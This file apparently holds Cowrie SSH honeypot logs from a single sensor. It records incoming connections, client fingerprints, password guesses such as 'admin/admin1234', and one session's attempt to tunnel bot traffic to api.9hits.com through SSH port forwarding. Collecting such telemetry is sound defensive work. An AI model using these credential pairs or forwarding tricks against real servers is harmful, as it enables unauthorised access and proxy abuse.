{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:01.424300Z","src_ip":"173.208.188.210","session":"9b328be86c1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":38816,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0bfa6901034","protocol":"ssh","message":"New connection: 2.99.213.222:38816 (159.203.135.109:22) [session: e0bfa6901034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:02.383296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:02.387657Z","src_ip":"2.99.213.222","session":"e0bfa6901034","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:02.493656Z","src_ip":"2.99.213.222","session":"e0bfa6901034","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"herman","password":"herman","message":"login attempt [herman/herman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:02.927741Z","src_ip":"2.99.213.222","session":"e0bfa6901034","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:04.040091Z","src_ip":"2.99.213.222","session":"e0bfa6901034","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.46.222.137","src_port":63486,"dst_ip":"10.17.0.5","dst_port":22,"session":"6944fbc7d87d","protocol":"ssh","message":"New connection: 38.46.222.137:63486 (10.17.0.5:22) [session: 6944fbc7d87d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:06.432651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:06.565917Z","src_ip":"38.46.222.137","session":"6944fbc7d87d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:06.570136Z","src_ip":"38.46.222.137","session":"6944fbc7d87d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":50113,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0b1bfde4260","protocol":"ssh","message":"New connection: 23.175.50.47:50113 (10.17.0.5:22) [session: a0b1bfde4260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:06.865777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:07.257541Z","src_ip":"23.175.50.47","session":"a0b1bfde4260","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:07.262602Z","src_ip":"23.175.50.47","session":"a0b1bfde4260","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:08.651203Z","src_ip":"23.175.50.47","session":"a0b1bfde4260","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":51966,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7db78f1a6c6","protocol":"ssh","message":"New connection: 63.141.242.2:51966 (10.17.0.5:22) [session: d7db78f1a6c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:08.965764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:08.970143Z","src_ip":"63.141.242.2","session":"d7db78f1a6c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:09.035064Z","src_ip":"63.141.242.2","session":"d7db78f1a6c6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:09.273591Z","src_ip":"38.46.222.137","session":"6944fbc7d87d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:10.827152Z","src_ip":"63.141.242.2","session":"d7db78f1a6c6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:18.146296Z","session":"a0b1bfde4260","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:18.210757Z","src_ip":"23.175.50.47","session":"a0b1bfde4260","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.0; TECNO IN5 Build/JOP24G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nConnection: keep-alive\\r\\nContent-Length: 1174\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=clVTPmwoMWFKOTNZND54VQ%3D%3D5xD8mUP52mhLx5hrZpyWRCgdWii0uR3gyxBe7O6RWMEBL4T1sAl1vLHplnrrICdXCJfwspc%2Fxrg%2FSSY1%2BXwyBHb0D%2FSu%2BG2jPMzIJpSPwfyp3k2xAWVIjpJmgFRGfLnWOFYUU9TsvdArb3e5jnwZXWZrFfbAd8tIIOYem4XsR2sxojHHHzOcTiq2LXVRNu1wUJOJMPHZKBk0uDzWiY%2FYx3KMRN6rMp1NzXUKZQyiJzb20ZTrhWcsecMNPt3NiKL5kJtc4xyiiuTQg2MnQv7duJubqixjFIXv6upBTe%2By1Pr4DuxFE9JcdXiRIzsVEcipcIgnQyrcN78DCIAgGZrbNDh9w7vHSX1yj9Dh%2BqSDN6xTEfEOHYNPEqlG7ELRMIVgv8hgb4PJqp1vUytHWz%2FK99WMfc9IMpQ2xXpUqDwHIEaPt0WKXDyUxv0CiiNczuYFqevcGds%2FArVml60PIJ%2BqH2ty3hJVzRW0vAq8b3IlwkmoMrdquKRlbocGCGrJyGrzuPdVQc2NCEIM1GxTlRrFTVuX23qVo3rKKX3NfZ8M9UrLmgS1jBtCG7Q802cMyULjEaU8RVDcDHkL5HoEHN9V3McwyPB5ZvxgGzFreHgQdNze29gjvIS5LB1yxDG9JFMbqCUkDbxmZmTbF8xi%2BLn1oeqLQ%2B5IVyN3%2FFqHm8ad3tMMxhYdyW4Ks1u8%2BLvuX99FDztFB4q52cjEoR15ZTZOsWA3TRaxTfU0rg4Np0dVOxhy%2BpGA%2FN2tHdvLjje%2FDNtunD2Xuo%2FvKFqtANT1xuwVyUH%2FFYHC2wwfcz%2FEce1gsUGfarig9jrhr4K2xUX0eZ8ALBGw3lSYMdw5%2FVkiocDWKrHQuCKFClJOkM2MZRbZqP8AmrsLKOWZmmqstembyGB8ntnDjkr4d9mfn9f8WDk%2FE4xTQTlJRZIepzboxtcfYs4nYiiISO%2FIFzolecXlybRDfadBThqSB%2Fq4mciJg3qnD29Q7SIJs0rcoou7dltWgDu2s1S2SEmYggbdgT3VqSKb8IEd1C%2FlT3sGcOfTGC%2Bpyl8E%2Bk5Gmit9BOSKTxtVmxaWY2fLVOHqh0YZFeCQle0C'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.0; TECNO IN5 Build/JOP24G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nConnection: keep-alive\\r\\nContent-Length: 1174\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=clVTPmwoMWFKOTNZND54VQ%3D%3D5xD8mUP52mhLx5hrZpyWRCgdWii0uR3gyxBe7O6RWMEBL4T1sAl1vLHplnrrICdXCJfwspc%2Fxrg%2FSSY1%2BXwyBHb0D%2FSu%2BG2jPMzIJpSPwfyp3k2xAWVIjpJmgFRGfLnWOFYUU9TsvdArb3e5jnwZXWZrFfbAd8tIIOYem4XsR2sxojHHHzOcTiq2LXVRNu1wUJOJMPHZKBk0uDzWiY%2FYx3KMRN6rMp1NzXUKZQyiJzb20ZTrhWcsecMNPt3NiKL5kJtc4xyiiuTQg2MnQv7duJubqixjFIXv6upBTe%2By1Pr4DuxFE9JcdXiRIzsVEcipcIgnQyrcN78DCIAgGZrbNDh9w7vHSX1yj9Dh%2BqSDN6xTEfEOHYNPEqlG7ELRMIVgv8hgb4PJqp1vUytHWz%2FK99WMfc9IMpQ2xXpUqDwHIEaPt0WKXDyUxv0CiiNczuYFqevcGds%2FArVml60PIJ%2BqH2ty3hJVzRW0vAq8b3IlwkmoMrdquKRlbocGCGrJyGrzuPdVQc2NCEIM1GxTlRrFTVuX23qVo3rKKX3NfZ8M9UrLmgS1jBtCG7Q802cMyULjEaU8RVDcDHkL5HoEHN9V3McwyPB5ZvxgGzFreHgQdNze29gjvIS5LB1yxDG9JFMbqCUkDbxmZmTbF8xi%2BLn1oeqLQ%2B5IVyN3%2FFqHm8ad3tMMxhYdyW4Ks1u8%2BLvuX99FDztFB4q52cjEoR15ZTZOsWA3TRaxTfU0rg4Np0dVOxhy%2BpGA%2FN2tHdvLjje%2FDNtunD2Xuo%2FvKFqtANT1xuwVyUH%2FFYHC2wwfcz%2FEce1gsUGfarig9jrhr4K2xUX0eZ8ALBGw3lSYMdw5%2FVkiocDWKrHQuCKFClJOkM2MZRbZqP8AmrsLKOWZmmqstembyGB8ntnDjkr4d9mfn9f8WDk%2FE4xTQTlJRZIepzboxtcfYs4nYiiISO%2FIFzolecXlybRDfadBThqSB%2Fq4mciJg3qnD29Q7SIJs0rcoou7dltWgDu2s1S2SEmYggbdgT3VqSKb8IEd1C%2FlT3sGcOfTGC%2Bpyl8E%2Bk5Gmit9BOSKTxtVmxaWY2fLVOHqh0YZFeCQle0C'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:18.214163Z","src_ip":"23.175.50.47","session":"a0b1bfde4260","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:18.376779Z","session":"a0b1bfde4260","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:18.638796Z","src_ip":"23.175.50.47","session":"a0b1bfde4260","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd2\\xbb\\\\\\x03=\\xa8\\xc7\\xcc\\xf5M\\xd4&Q*3\\x9fU4\\xfb\\x86f\\x04\\x9a\\x7f6WD\\x94\\xdc$\\xfe\\xa9 t\\xd2\\x08G\\tv1\\xde\\x86\\xb1\\x18c\\x18\\xed\\xb8\\xdf\\xb0\\xe7\\\\\\xfcit\\xb1\\n\\xb8|i0U\\xc07\\xc6\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 t\\xbe\\xc0\\xaa\\xa1\\x8c\\xcd$\\x04\\xe2/\\x96Mh\\x83TN\\x9e\\x974\\xcb'50\\x15\\xc1s\\xddm\\x9d\\xf1v\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd2\\xbb\\\\\\x03=\\xa8\\xc7\\xcc\\xf5M\\xd4&Q*3\\x9fU4\\xfb\\x86f\\x04\\x9a\\x7f6WD\\x94\\xdc$\\xfe\\xa9 t\\xd2\\x08G\\tv1\\xde\\x86\\xb1\\x18c\\x18\\xed\\xb8\\xdf\\xb0\\xe7\\\\\\xfcit\\xb1\\n\\xb8|i0U\\xc07\\xc6\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 t\\xbe\\xc0\\xaa\\xa1\\x8c\\xcd$\\x04\\xe2/\\x96Mh\\x83TN\\x9e\\x974\\xcb'50\\x15\\xc1s\\xddm\\x9d\\xf1v\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:18.642473Z","src_ip":"23.175.50.47","session":"a0b1bfde4260","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:19.114653Z","session":"a0b1bfde4260","protocol":"ssh"}
